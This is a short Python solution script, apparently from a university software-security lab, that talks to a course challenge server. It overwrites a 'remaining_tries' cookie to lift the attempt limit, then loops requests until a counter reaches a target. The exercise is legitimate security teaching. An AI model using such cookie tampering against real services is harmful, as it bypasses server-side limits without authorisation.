Files
ssof_labs/pa/lab2/chall_requests2.py
2025-11-20 17:46:30 +00:00

28 lines
662 B
Python

from requests import get
import re
BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25054"
resp = get(BASE+"/hello")
content = resp.content.decode('utf-8')
print(content)
print(resp.cookies)
for cookie in resp.cookies:
if cookie.name == "remaining_tries":
cookie.value = "200"
target = re.search(r"target ([0-9]+)", content).group(1)
print("Target:", target)
current = 0
while current != target:
resp = get(BASE+"/more", cookies=resp.cookies)
content = resp.content.decode('utf-8')
current = re.search(r"current value is: ([0-9]+)", content).group(1)
print("Current:", current)
resp = get(BASE+"/finish", cookies=resp.cookies)
print(resp.content)